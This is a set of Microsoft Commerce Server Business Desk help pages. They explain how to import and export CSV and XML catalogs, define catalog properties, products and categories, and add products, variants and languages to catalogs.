You may want to use comma-separated values (CSV) catalog files, for example, to import data from a Microsoft Excel spreadsheet. In Microsoft Excel, you can save a spreadsheet as a CSV file.

Note the following characteristics of a CSV file:

  • A CSV catalog file contains product data, but does not contain catalog definitions.
  • The products in the CSV file are not organized into categories.
  • The CSV catalog file must have a product identifier and a price column.
  • CSV catalog files contain only stand-alone products, and do not support product variants.
  • The data type string is the only data type supported by a CSV catalog file.

When imported, the products in a CSV catalog file are mapped to a single product definition.

When a CSV catalog file is imported, a product definition is automatically created based on the columns listed in the file. Each product is imported as an instance of the product definition that was automatically created. The product definition is given the same name as the catalog being imported.

After importing a CSV catalog file, you can use the Catalog Editor module to create categories and add products to the categories.

Notes

  • Your system administrator must start the full-text indexing service (Microsoft Search service) before you can import a catalog into the catalog database.
  • To import a catalog with product variants, you must use XML to preserve your variants. CSV files do not support product variants.
  • Importing a catalog with the same name as a product definition will overwrite the original product definition.
  • You cannot import a catalog that contains a product definition with different properties than an existing product definition of the same name.
  • After importing a catalog, you or your system administrator should check the Application Event Log on the server for any errors.

To import a CSV catalog file

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, click Import on the toolbar, and then select Import CSV from the drop-down list.
  3. In the Import CSV Catalog dialog box, do the following:
    Use this | To do this
    Specify a CSV file on the server | Type the name of the CSV catalog file that you want to import. This file must be located on the same computer as Commerce Server.
    Specify a locally accessible CSV file Click Browse to navigate to a CSV catalog file located on your Business Desk client computer.

    If the catalog is large, the import process will take several minutes to complete. It is much faster to import a catalog that is located on the server.
    Language | Select the language to be associated with the imported catalog.
    Catalog name | Type a unique name for the imported catalog. This name will also be used for the product definition created during the import process.
    Product identifier | Type the name of the identifier column in the CSV file.
    Price column | Type the name of the price column in the CSV file.
    Delete any existing data in this catalog | If you are importing a catalog that already exists in your Commerce Server catalog database, select this check box to delete the catalog data from the existing catalog before importing the new version.
  4. Click OK.

    A message appears stating that the catalog import process has started. The catalog import process may take several minutes, depending on the size of the catalog. During this time, you can use Business Desk to perform other tasks or exit Business Desk.

    If you receive a message that the CSV file is not valid, contact your system administrator to determine the problem.

  5. To see the catalog after you import it, click Catalog Editor. This step refreshes the Catalog Editor screen.
  6. To publish the catalog to your Web site, click Catalog Editor, and then click Publish a catalog on the toolbar.

    For more information about publishing a catalog, see Refreshing and Publishing a Catalog.

See Also

Best Practices for Catalogs

Exporting a CSV Catalog File to Excel

Importing an XML Catalog File

Cannot import a catalog

CatalogManager

Translating a Catalog by Exporting/Importing

Adding a Category to a Catalog

Adding a Product to a Catalog


Exporting a Catalog

Exporting a catalog can make your catalog portable. For example, you can share your catalog with your business partner, or you can outsource development and maintenance of your catalogs.

For instructions about exporting a catalog that will then be translated into another language, see Translating a Catalog by Exporting/Importing.

You can export both base catalogs and virtual catalogs in XML or CSV format.

Notes

  • When you export a virtual catalog, it becomes a base catalog. For example, you can export a virtual catalog, and then import it as a base catalog on a different server or after changing the catalog name.

    You cannot export a virtual catalog and then import it again as a virtual catalog.

  • When you export a virtual catalog, the price rules are not exported.
  • If you export a catalog in XML file format, you can export the catalog in one or all languages.
  • If you export a catalog in CSV file format, you can export the catalog in only one language.

To export a catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to export, and then click Export on the toolbar.
  3. Select whether you want to export the catalog in XML or CSV file format from the drop-down list.
  4. If you select to export a CSV file, continue to step 5. If you selected to export an XML file, complete the following:
    • In the Export Catalog dialog box, select Incremental Export if you want to export only those changes applied to the catalog since the date specified in the Start date box.
    • In the Start date box, type the date for which you want to start the incremental export.
  5. In the Language box, specify the language in which to export multilingual properties. For example, if the property Description contains values in both English and Chinese, you can export the catalog only in English, only in Chinese, or in both languages.
  6. In the Specify the location to save the file on the server box, type the complete path and file name of a catalog that can be written to by the server, and then click OK.

    When specifying a file on the server side, if you specify only the file name, the file will be exported to the ProductCatalogs folder under the BizDesk folder on the server. For example, exporting a file as output.xml will export it on the server as d:\inetpub\wwwroot\retailbizdesk\productcatalogs\output.xml. You can set up this folder as a share.

The catalog is exported to the specified location, from which you can copy it and use it elsewhere.

See Also

Exporting a CSV Catalog File to Excel

Translating a Catalog by Exporting/Importing

Sending a Catalog to a Trading Partner

Catalogs from Multiple Suppliers

CatalogManager Object


Exporting a CSV Catalog File to Excel

You can export a catalog from the Commerce Server database and then import it into a Microsoft Excel spreadsheet.

Notes

  • When you export a virtual catalog, it becomes a base catalog. For example, you can export a virtual catalog, and then import it as a base catalog.
  • If you export a catalog in CSV file format, you can export the catalog in only one language.
  • When you export a virtual catalog, the price rules are not exported.

To export a catalog in CSV file format

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to export, and then click Export on the toolbar.
  3. Select Export CSV from the drop-down list.
  4. In the Export Catalog dialog box, in the Start date box, type the date for which you want to start the incremental export.
  5. In the Language box, specify the language in which to export multilingual properties. For example, if the property Description contains values in both English and Chinese, you can export the catalog only in English, only in Chinese, or in both languages.
  6. In the Specify the location to save the file on the server box, type the complete path and file name of a catalog that can be written to by the server, and then click OK.

    When specifying a file on the server side, if you specify only the file name, the file will be exported to the ProductCatalogs folder under the BizDesk folder on the server. For example, exporting a file as output.xml will export it on the server as d:\inetpub\wwwroot\retailbizdesk\productcatalogs\output.xml. You can set up this folder as a share.

The catalog is exported to the specified location.

To import a CSV catalog file into Excel

  1. In Microsoft Excel, click Open.
  2. In the Look in list, locate the drive, folder, or Internet location that contains the file you want to open.
  3. In the Files of type list, select Text Files (*.prn; *.txt; *.csv) from the drop-down list, and then click Open.

    The Text Import Wizard is started.

  4. In the Text Import Wizard – Step 1 of 3 screen, accept the default entries, and click Next.
  5. In the Text Import Wizard – Step 2 of 3 screen, select Comma as the delimiter, accept the remaining default entries, and then click Next.
  6. In the Text Import Wizard – Step 3 of 3 screen, select the Column format you want, and then click Finish.

    The catalog file is imported into Excel.

See Also

Importing a CSV Catalog File

Best Practices for Catalogs

Translating a Catalog by Exporting/Importing

Sending a Catalog to a Trading Partner

Catalogs from Multiple Suppliers

CatalogManager Object


Creating a Catalog Definition

If you decide to create your own catalog instead of importing one, you must first create the catalog definition. After you create the catalog definition, you can add categories, products, and properties to the catalog.

To create a catalog definition you perform three steps:

  1. Add property definitions. For example, Name, Description, Artist, Title, and List Price are property definitions. Property definitions are used in product definitions and category definitions.
  2. Add product definitions. For example, an online music retailer might have a product definition for the product Compact Discs that contains the properties Artist, Title, and List Price. All products in your catalog are instances of product definitions. A product definition specifies the properties for a particular type of product.
  3. Add category definitions. For example, Name and Description are properties of a category that are defined in a category definition.

The following figure shows how product and category definitions are based on property definitions.

A figure that shows how product and category definitions are based on property definitions.

This section contains:

  • Adding a Catalog Property Definition
  • Adding a Catalog Multilingual Property Definition
  • Adding Custom Catalog Attributes and Property Attributes
  • Adding a Catalog Product Definition
  • Adding a Catalog Category Definition


Adding a Catalog Property Definition

A property definition specifies a single characteristic of a category definition or a product definition in your catalog.

One property definition can be used by multiple category definitions and product definitions, and it can be shared across catalogs. For example, the property definition Description can be used in every product definition and category definition for adding descriptions to categories and products.

After you add the property definition to the catalog definition, you can add it to a category definition or a product definition.

Notes

  • A property definition name can be up to 100 characters long.
  • A property definition name cannot include the following characters: [, ], or “. It also cannot contain periods or commas.
  • A property definition name cannot start with a number.
  • If you are importing catalog data into the Data Warehouse, see Catalog Name and Size Restrictions for the naming restrictions of the Product catalog data import DTS task.
  • Do not use “ProductID” or “VariantID” in the property definition name.
  • Verify that a property definition name does not have mismatched parentheses in its name. For example, if you enter a property named “shoe size mens),” instead of “shoe size (mens),” Commerce Server will store the property, but you cannot retrieve it from the Commerce Server database.
  • If you select the Assign to all product definitions option, any product definitions you create will automatically inherit this property. If you import an XML catalog in which this property has been set, it will affect all future product definitions you create.
  • Use the Is required box to specify that a value for the property is required. When a property is required, a Required appears next to it.

To add a property definition to the catalog definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Property Definitions from the drop-down list.
  3. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select the property type that you want to use to create a new property definition.

    You can add your own custom property attributes if the attributes included with Commerce Server do not meet your needs. For more information, see Adding Custom Catalog Attributes and Property Attributes.

  4. The boxes that appear in the Property Definition: New screen depend on the type of property definition you have selected. Do the following:
    Use this | For property type | To do this
    Name All Type an internal name for the property.

    Note

    • After you save the property, you cannot change the property name.
    Display name | All | Type the name that is to be displayed on your Web site as a label for this property. For example, for a property named "ShirtColor," you might want the display name to be "Color."
    Display on site All Select this check box to display the specified property to users on your Web site. If you want to keep some properties private for internal use, do not select this check box.

    By default, this option is selected for long text properties.
    Free text searchable Text, multiple choice Select this check box so that free text searching on your catalog will apply to values stored in this property.

    When you select the Free text searchable option, the property definition is added to the full-text index for the catalog. You must update the full-text index after changing items in your catalogs that are marked as searchable. For information about updating the full-text index, see Refreshing and Publishing a Catalog.
    Specification searchable Text, number, decimal, money/currency, date/time, multiple choice, multilingual Select this check box for this property to be used in specification searches.

    By default, this option is not selected for long text properties because long description text is not suitable in a specification search.
    Minimum length Text, multilingual Type the number that defines the minimum length of the value for this property type.

    If you specify a length other than zero, this property becomes a required property for a product or category definition, and a Required will appear next to it.
    Maximum length | Text, multilingual | Type the number that defines the maximum length of the value for this property type.
    Minimum value | Number, decimal, money/currency | Type the number that defines the minimum value for this property type.
    Maximum value Number, decimal, money/currency Type the number that defines the maximum value for this property type.

    For example, to add a property for money, enter a number that includes the decimal point and any fractional amount that could accommodate the greatest monetary value to be applied to a product.
    Earliest date | Date/time | Type the date to indicate the earliest date that you want this property to be valid. For example, the earliest date users can order a new book.
    Earliest time | Date/time | Type the time in 00:00 format for the earliest time that is to be associated with the property. For example, a start time.
    Latest date | Date/time | Type the date to indicate the latest date that you want this property to be valid.
    Latest time | Date/time | Type the time in 00:00 format (for example, 22:00 is 10 P.M.) to indicate the latest time that you want this property to be valid.
    Default value | Text, number, decimal, money/currency, date/time, multiple choice, multilingual | Type the default value for the property type. The format varies depending on the property type you add.
    Assign to all product types All Select this check box to assign the property to all product types. For example, you might want to select this for generic product properties, such as name, description, or weight.

    If you select the Assign to all product definitions option, any definitions you create automatically inherit this property.
    Store data for analysis | All, except long text and long multilingual text | Select this check box to export the property to the Data Warehouse. Exporting data to the Data Warehouse makes data available for reporting purposes.
    Display in products list | All | Select this check box to display this property in the list of products on your site.
    Is required | All except multilingual multiple choice | Select this check box if this property must contain a value. When a property is required, a Required appears next to it.
  5. To save the property definition, click Save on the toolbar.
  6. To secure the property so other Business Desk users cannot edit or delete it, in the Security section, click Permissions.
  7. Specify the Windows accounts for users who have been granted security permissions to update this catalog, and then click Close.
  8. To save the permissions for the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.

You can now add the property definition to a category definition and/or a product definition.

See Also

Catalog Name and Size Restrictions

Adding a Catalog Multilingual Property Definition

Adding a Catalog Product Definition

Adding a Catalog Category Definition


Adding a Catalog Multilingual Property Definition

You can create properties in your catalog that support multiple languages. For example, you can specify that the Description property is multilingual text, and then specify that Description can support English, German, Japanese, and French. By creating multilingual properties, you can create catalogs that support multiple languages.

You can create the following types of multilingual properties:

  • Multilingual text
  • Multilingual long text
  • Multilingual file name. The name of a file that will be unique for each language. For example, you might have a different image file for a product for each language, especially if the image contains text. Free-text searchable
  • Multilingual multiple choice

Multilingual properties do not support the free-text searchable option.

Notes

  • If you select the Assign to all product definitions option, any product definitions you create will automatically inherit this property. If you import an XML catalog in which this property has been set, it will affect all future product definitions you create.
  • A property name cannot start with a number.
  • Use the Is required box to specify whether a value for the property will be required. When a property is required, a Required appears next to it.

To add a multilingual property definition to the catalog definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Property Definitions from the drop-down list.
  3. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select the multilingual property type that you want to use to create a new property definition.
  4. The boxes that appear in the Property Definition: New screen depend on the type of property definition you have selected. In the Properties section, do the following:
    Use this | For property type | To do this
    Name All Type an internal name for the property. To type the name that appears on your Web site, see step 5.

    Note

    • After you save the property, you cannot change the internal property name.
    Display on site | All | Select this check box to display the specified property to users on your Web site. If you want to keep some properties private for internal use, do not select this check box.
    Specification searchable | All | Select this check box for this property to be used in specification searches.
    Minimum length | Multilingual text | Type the number that defines the minimum length of the value for this property type. If you specify a length other than zero, this property becomes a required property for a product or category definition, and a Required will appear next to it.
    Maximum length | Multilingual text | Type the number that defines the maximum length of the value for this property type.
    Assign to all product types All Select this check box to assign the property to all product types. For example, you might want to add the property to generic product properties such as name, description, or weight.

    If you select the Assign to all product definitions option, any definitions you create automatically inherit this property.
    Store data for analysis | All except multilingual long text | Select this check box to export the property to the Data Warehouse. Exporting data to the Data Warehouse makes data available for reporting purposes.
    Display in products list | All | Select this check box to display this property in the products list.
  5. In the Display Names section, click New, and select a language from the drop-down list.
  6. In the Display Name box, type the property name in the appropriate language, and then click Accept.

    This is the name that is displayed in the appropriate language to users visiting your site.

  7. In the Default Values section, click New, and then select a language from the drop-down list.
  8. In the Default value box, type the value that applies to this property using the specified language, and then click Accept.
  9. To secure the property so other Business Desk users cannot edit or delete it, in the Security section, click Permissions.
  10. Specify the Windows accounts for users who have been granted security permissions to update this catalog, and then click Close.
  11. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.

You can now add the multilingual property definition to a category definition and/or a product definition.

See Also

Catalog Name and Size Restrictions

Adding a Catalog Product Definition

Adding a Catalog Category Definition


Adding Custom Catalog Attributes and Property Attributes

Commerce Server Business Desk includes catalog attributes such as currency, unit of weight measure, locale, and catalog name. It includes property attributes such as minimum length/value, maximum length/value, default value, and display name.

You might want to add your own catalog attributes to store information about the vendor that supplies the products in a catalog.

You might want to add your own property attributes to describe how a particular property should appear on your Web site. For example, you can specify that a property should appear in a drop-down list, as an option button, or as a label.

To add a catalog unit of weight measure

To add user-defined catalog attributes and/or property attributes

To add a catalog unit of weight measure

Your system administrator specifies the unit of weight measure during Commerce Server configuration. If you need a different unit of weight measure, your system adminstrator must perform the following procedure.

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer, for example, Retail.
  2. Right-click App Default Config, and then click Properties.
  3. On the Properties tab, select Unit of Measure for Weight.
  4. In the Selected Property Value box, enter the unit of measure for weight (for example, kilograms (kg)), and then click OK.

To add user-defined catalog attributes and/or property attributes

  1. Contact your site developer to add the new attributes to Commerce Server using the Catalog API.
  2. Import an XML catalog file that includes the new catalog attributes and property attributes you want to use in your catalogs and properties.
  3. Use Catalog Definition Designer to assign the attributes to catalogs and properties, and set values for them.

See Also

Importing an XML Catalog File

Editing a Catalog Property Definition


Adding a Catalog Product Definition

A product definition specifies the properties for a particular type of product. For example, an online music retailer would create a product definition for the product Compact Discs. The product definition would contain the following properties: Artist, Title, and List Price.

Notes

  • The list price property is automatically included in each product definition.
  • Do not add as a product variant property any properties that will be used as product IDs.

To add a product definition to a catalog definition

  1. Verify that you have already created the property definitions that you want to add to your product definition. For more information about creating property definitions, see Adding a Catalog Property Definition.
  2. In Catalogs, click Catalog Definition Designer.
  3. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Product Definitions from the drop-down list.
  4. In the Catalog Definition Designer: Product Definitions screen, click New on the toolbar.
  5. In the Product Definition: New screen, in the Name box, type a name for the new product definition.
  6. In the Product Properties section, select the property or properties you want for the new product definition from the list of Available Properties, and then click Add.

    Note

    • You cannot remove the assigned properties that are highlighted in yellow. These are properties that have the Assign to all product types attribute.
  7. If the new product has variants, in the Product Variant Properties section, select the property or properties you want from the Available Properties list, and then click Add.

    Note

    • Do not add as a product variant property any properties that will be used as product IDs.
  8. To change the order of the properties, select the property you want to move, and then click either Move Up or Move Down until the property is in the position you want.

    The order in which the properties appear in the Assigned Properties box is also the order in which the properties are displayed in the catalog.

  9. To save the product definition and return to the Catalog Definition Designer: Product Definition screen, click Save and go back on the toolbar.

After you have created your property definitions, product definitions, and category definitions, you can create a catalog and add categories and products to it. For instructions, see Creating a Base Catalog.

See Also

Adding a Catalog Property Definition

Adding a Catalog Category Definition

Creating a Base Catalog

Adding a Product to a Catalog

Adding a Category to a Catalog


Adding a Catalog Category Definition

A category can have one or more properties, such as name, description, and image. These properties are defined in the category definition. For example, if you want to store information about manufacturers, and then organize products by manufacturer, you can create a Manufacturer category definition, which would include different properties, such as Manufacturer Name, Country/Region, Address, and Contact Person.

After you create a category definition, you can create categories based on that category definition.

To help you get started, Commerce Server provides a category definition named Department that you can edit or use as is. The Department category definition includes the following properties: description, image file name, image width, and image height. You can use the Department category definition exclusively, or you can tailor its properties to suit your business needs.

To add a category definition to the catalog definition

  1. Verify you have already created the property definitions that you want to add to your category definition. For more information about creating property definitions, see Adding a Catalog Property Definition.
  2. In Catalogs, click Catalog Definition Designer.
  3. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Category Definitions from the drop-down list.
  4. In the Catalog Definition Designer: Category Definitions screen, click New on the toolbar.
  5. In Category Definitions: New screen, in the Name box, type a name for the new category definition.
  6. In the Category Properties section, select the property or properties you want for the new category definition from the list of Available Properties, and then click Add.

    The order in which the properties appear in the Assigned Properties box is also the order in which the properties are displayed in the catalog.

  7. To change the order of the properties, select the property you want to move, and then click either Move Up or Move Down until the property is in the position you want.
  8. To save the new category definition and return to the Catalog Definition Designer: Category Definitions screen, click Save and go back on the toolbar.

After you have created your property definitions, product definitions, and category definitions, you can create a catalog and add categories and products to it.

See Also

Creating a Base Catalog

Creating a Virtual Catalog

Adding a Catalog Property Definition

Adding a Catalog Product Definition

Adding a Product to a Catalog

Adding a Category to a Catalog


Creating a Base Catalog

After you or your site developer creates the catalog definition (property definitions, product definitions, and category definitions), you use the catalog definition to create a new catalog.

You can create two types of catalogs: a base catalog or a virtual catalog. For instructions about creating a virtual catalog, see Creating a Virtual Catalog.

When you create a catalog, you specify:

  • The currency that will be used to price products (for example, you specify the abbreviation EUR for euro).
  • The unique ID that will be used to identify products in the catalog (for example, name of the product).
  • The unique ID that will be used to identify product variants (for example, stock-keeping unit).
  • The languages that the catalog supports (for example, English, Spanish, French, and Japanese).

The values for these properties depend on your catalog definition. For example, in the catalog definition, you could specify that unique ID is going to be the stock-keeping unit (SKU) number of the product.

Notes

  • If you do not specify a default language for a catalog, Commerce Server uses the same language as the Microsoft Windows operating system on your Business Desk Web server.
  • The number of Commerce Server catalogs in your database affects how long it takes to create a new catalog. For example, it may take a couple seconds to create your first empty catalog. If you already have more than 300 catalogs in your databases, each with 5,000 products, it may take 10 minutes to create an additional catalog.

To create a base catalog

  1. This procedure assumes either you have or your site developer has already created your catalog definition. If you have not yet done so, see Creating a Catalog Definition.
  2. In Catalogs, click Catalog Editor.
  3. In the Catalogs screen, click New on the toolbar, and then select New Base Catalog from the drop-down list.
  4. In the Catalog Properties - New Base Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name Type a unique internal name for the new catalog. This internal name cannot match the name of any existing catalog in the Commerce Server catalog database.

    This internal name is used in catalog reports. It can be up to 85 characters long.

    You cannot change this name after creating the catalog, but you can edit the catalog name that is displayed on your site; see step 4.
    Start date | Type the start date for the catalog. This date does not have any effect on your Web site. However, if you exchange catalogs with a trading partner, this date lets your trading partner know the first date the catalog is valid.
    End date | Type the end date for the catalog. Your trading partners use this date to determine the last date the catalog is valid. By default this will be the current date plus three months. For example, if you create your catalog in December, the catalog end date will be in March.
    Currency | Select a currency for the catalog from the drop-down list. The default is USD.
    Unit of weight measure Displays the unit of weight for the products in this catalog. Your system administrator specifies this value during Commerce Server configuration.

    Note

    • For information about how to add a new unit of weight measure, see Adding Custom Catalog Attributes and Property Attributes.
    Product unique ID Select a unique identifier from the drop-down list. If your products do not have variants, this could be SKU number. If your products have variants, this could be Name or Title, and the Product variant unique ID would be SKU.

    You cannot change this value after creating the catalog.

    For information about assigning unique IDs, see Best Practices for Catalogs.
    Product variant unique ID Select a unique identifier from the drop-down list for the product variants. For example, this could be SKU or another unique identifier. If your products do not have variants, select the same property here as you selected for the Product unique ID.

    You cannot change this value after creating the catalog.

    For information about assigning unique IDs, see Best Practices for Catalogs.
  5. In the Catalog Languages section, do the following:
    Use this To do this
    Add Select the languages that the catalog will support.

    You can add five languages at a time. You must save the catalog, and then you can add five more languages. There is no limit to the number of languages you can add to a catalog.
    Default Language Select from the drop-down list the default language for your catalog.

    If you do not specify a default language, Commerce Server uses the same language as the Microsoft Windows operating system on your Business Desk Web server.
    Reporting Language Select from the drop-down list the language that is to be used for the properties that are to be stored in the Data Warehouse.

    This is the language that will be used for reports and analysis.
  6. To enter the display name for the catalog, in the Language box, select a language, and then click Edit.
  7. In the Display name box, type the name for the catalog in the selected language. This is the catalog name that will appear on your Web site.
  8. In the Dependent Catalogs section, Business Desk lists the virtual catalogs associated with this base catalog. For information about including a base catalog in a virtual catalog, see Including Base Catalogs in a Virtual Catalog.
  9. In the Security section, click Permissions, and then specify the Windows accounts for users who have been granted security permissions to update this catalog. For more information about granting security permissions, see About Business Desk Security.
  10. To save the catalog and return to the Catalogs screen, click Save and go back on the toolbar.
  11. To add products and categories to your catalog, see Adding a Category to a Catalog and Adding a Product to a Catalog.

See Also

Best Practices for Catalogs

Creating a Catalog Definition

Adding Custom Catalog Attributes and Property Attributes

Creating a Virtual Catalog

Including Base Catalogs in a Virtual Catalog

Adding a Product to a Catalog

Adding a Category to a Catalog


Adding a Category to a Catalog

You add a category to a catalog using the Catalog Editor module. When you add products to a catalog, you can dynamically change the editing language for a product or category.

If you imported a catalog in comma-separated values (CSV) file format, you need to create the categories for the catalog and assign products to them.

You perform the following steps when you add a category to a catalog:

  1. Add the category to the catalog
  2. Assign parent and child categories, if needed.
  3. Create category relationships, if needed.
  4. Secure the category, if needed.

Notes

  • Category names must be unique in each base catalog. Category names must be unique for newly created (not inherited) categories in a virtual catalog.
  • When you add a new category to a base catalog, the category is automatically added to the associated virtual catalogs, depending on the inclusion rules.
  • You use the Catalog Editor module to grant permissions to Business Desk users who can edit this category. Do not use the Business Desk Permissions module.

To add a category to a catalog

  1. Verify that the category definition on which you want to base the category has been defined. For information about adding category definitions, see Adding a Catalog Category Definition.
  2. In Catalogs, click Catalog Editor.
  3. In the Catalogs screen, select the catalog to which you want to add a new category, and then click Open on the toolbar.
  4. In the Catalog Content - <Catalog Name> screen, in the Categories section, click New.
  5. In the New Category dialog box, select the category definition on which you want to base the category, and then click Continue. (If there is only one category definition, this dialog box is not displayed.)

    To add category definitions, you use the Catalog Definition Designer module. For instructions, see Adding a Catalog Category Definition.

  6. If this is a multilingual catalog, at the top of the Catalog Editor – <Catalog Name> - new (category) screen, select the language you want to use for the multilingual properties, which have a Multilingual next to them.
  7. In the Catalog Editor – <Catalog Name> - new (category) screen, the boxes that appear are based on the category definition you select. More boxes may appear than those listed here. Do the following:
    Use this | To do this
    Name Type a unique internal name for the new category. The maximum length is 100 characters. Category names must be unique in each catalog.

    This name is used in catalog reports.
    Display name | Type the category name that is to be displayed on your Web site.
    Description | Type a description for the category that is to be displayed on your Web site.
    Price Type a price for the category. The price is assigned to all the products in this category.

    For information about assigning prices directly to the product or the product variant, see Pricing a Product in a Base Catalog and Pricing at the Product Variant Level.
    Searchable | Select this check box to have this category be a starting point for a specification search. When this box is selected, this category will be listed on the Advanced Search page on the Web site.
  8. At this point, you can click Save and go back on the toolbar to save the catalog.

    Or, you can proceed to the next sections on the Catalog Editor screen and assign parent and child categories, or secure the category.

To assign parent and child categories

  1. In the Categories section, select the category to which you want to assign parent or child categories, and then click Edit.
  2. In the Assigned Categories section, select the category you want to assign as the primary parent category, and then click Set.
  3. In the Available Child Categories box, select the category you want to add to the parent, and then click Add.

    The category moves from the list in the Available box to the list in the Assigned Child Categories box.

  4. At this point, you can click Save and go back on the toolbar to save the catalog. Or, you can proceed to the next section on the Catalog Editor screen and assign category relationships.

To create a category relationship

  1. In the Category Relationships section, click New, and then do the following:
    Use this | To do this
    Relationship Type the name of the relationship. This name is not displayed on your Web site.

    (You add relationships to categories or products.)

    Item | Click the ellipsis button […] to open the Product Picker dialog box.
  2. In the Product Picker dialog box, select the catalog that contains the category with which you want to work.
  3. Select the category from the Categories list to which you want to create a relationship, and then click OK.

    The category you chose appears in the Item box of the Category Relationships section.

  4. Click Accept to save the category relationship.
  5. To save the changes and return to the Catalog screen, click Save and go back on the toolbar.

To secure the category

  1. In the Security section, click Permissions.
  2. In the Accounts dialog box, click Allow to grant access to the Business Desk users who can edit this category, and then click Close.
  3. To save the changes and return to the Catalog screen, click Save and go back on the toolbar.
  4. To publish the new product on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Creating Category Hierarchies

Creating Category and Product Relationships

Best Practices for Catalogs

Editing a Category in a Base Catalog

Adding a Product to a Catalog

Refreshing and Publishing a Catalog

Adding a Catalog Category Definition


Adding a Product to a Catalog

You add new products to existing catalogs using the Catalog Editor module. When you add products to a catalog, you can dynamically change the editing language for a product or category.

To add a new product to a catalog

  1. Verify you have already created a product definition, created a base catalog, and added one or more categories. If you have not yet done so, see Adding a Catalog Product Definition, Creating a Base Catalog, and Adding a Category to a Catalog.
  2. If you want the product to include product variants, verify that the product definition on which the product is based has been defined to include product variants. For information about editing product definitions, see Editing a Catalog Product Definition.
  3. In Catalogs, click Catalog Editor.
  4. In the Catalogs screen, select the catalog to which you want to add a new product, and then click Open on the toolbar.
  5. In the Catalog Content - <Catalog Name> screen, in the Products section, click New.
  6. In the New Product dialog box, select the product definition you want to use for this product, and then click OK.

    Note

    • The product definitions available depend on the product definitions you have added to the catalog definition. For more information, see Adding a Catalog Product Definition.
  7. If this is a multilingual catalog, at the top of Catalog Editor – <Catalog Name> - new (category) screen, select the language you want to use for the multilingual properties, which have a Multilingual next to them.
  8. In the Catalog Editor - <Catalog Name> new (product) screen, in the Product Properties section, enter the information for the available properties. The following boxes are required:
    Use this | To do this
    Name Type the name of the product as it will appear on your Web site.

    This name is used in catalog reports.
    Description | Type the description of the product as it will appear on your Web site.
  9. In the Product Variants section, click New, and then type the information for the available properties. When finished, click Done.

    Note

    • You can add product variants only if the product definition has been defined to include them. To edit the product definition so it includes product variants, see Editing a Catalog Product Definition.
  10. In the Assigned Categories section, do the following:
    Use this To do this
    Available Categories Select the category you want to assign the product to, and then click Add.

    If you want to remove an assigned category, click Remove.
    Assigned Categories Select the assigned category, and then click Edit if you want to edit the category.

    If you want to create a new category, click New.
    Primary parent category Select the category to be the primary parent category, and then click Set.

    The primary parent category is used to determine the canonical path to that product or category, or to apply category-level pricing rules to the product.
  11. In the Product Family Relationships section, click New, type a name for the relationship (for example, accessory), and then click the ellipsis button […] to display the Product Picker dialog box.
  12. In the Product Picker dialog box, select the category or product you want in the relationship, and then click OK. To find the categories or products you want, you can browse or perform a keyword search.
    Note
    • In the Product Picker dialog box, Commerce Server truncates product names longer than 30 characters. If you have multiple products with the same first 30 characters, they will appear as duplicates.
  13. In the Product Family Relationships section, click Accept. Click New to continue adding more relationships.
  14. To save the product and return to the Catalogs screen, click Save and go back on the toolbar.
  15. To publish the new product on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

About Catalogs

Creating Category and Product Relationships

Customizing Shipping Methods


Adding Product Variants to a Product

You can assign product variants to products in your catalog. For example, the product variants for a T-shirt might include color and size. A large, blue T-shirt would be one variant of the T-shirt product family. A small, blue T-shirt would be another variant.

Notes

  • Before you can add a product variant to a product, you must specify in the product definition that the product will include variants. For more information, see Editing a Catalog Product Definition.
  • Each product variant must have a unique ID. For information about unique IDs, see Best Practices for Catalogs.

To add product variants to a product

  1. Verify that the product definition on which the product is based has been defined to include product variants. Each product variant must have a unique ID. For information about editing product definitions, see Editing a Catalog Product Definition.
  2. In Catalogs, click Catalog Editor.
  3. In the Catalogs screen, select the catalog to which you want to add product variants, and then click Open on the toolbar.
  4. In the Catalog Editor - <Catalog Name> screen, in the Products section, click Find Now to show all products.
  5. Select the product to which you want to add product variants, and then click Edit.
  6. In the Catalog Editor - <Catalog Name> (product) screen, in the Product Variants section, click New.
  7. In the Product Variants section, in the Variant price box, type the price for the product.
  8. Enter the properties in the boxes, including a unique value for the unique identifier property, such as stock-keeping unit (SKU) number, and then click Done.

    The product variant information appears in the Product Variants table.

  9. To save the changes and return to the Catalogs screen, click Save and go back on the toolbar.
  10. To publish the new product variants, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Best Practices for Catalogs

Pricing at the Product Variant Level


Adding a Language to a Catalog

When you create a base catalog, you specify which languages are supported by the catalog. You specify the following:

  • Default language. If you do not specify a default language for a catalog, Commerce Server uses the same language as the Microsoft Windows operating system on the Business Desk Web server.
  • Reporting language. Specify the language from the catalog that should be used to populate the Data Warehouse. This is the language that will appear on reports.

    If you change the reporting language, the next time your system administrator imports catalog data into the Data Warehouse, it will use the new language. This may result in some data in the Data Warehouse being in one language and other data being in another language.

    Your system administrator must perform a full import using the Product catalog data import Data Transformation Services (DTS) task so all the data is the in same language. (Full import will update the properties of the product because the product keys are the same in any language.)

After you create a catalog, you can add more languages to it at any time.

Note

  • One catalog can support up to 10 languages.

To add a language to a catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog to which you want to add a language, and then click View on the toolbar.
  3. In the Catalog Properties - New screen, in the Catalog Languages section, click Add.
  4. In the Select Languages dialog box, select the language you want to add, and then click Add.
  5. If you are adding multiple languages to the catalog, in the Default language box, specify the default language.
  6. In the Reporting language box, specify the language that is to be used for the data that is to be stored in the Data Warehouse. This is the language that will be used for reports and analysis.
  7. To save the changes and return to the Catalogs screen, click Save and go back on the toolbar.
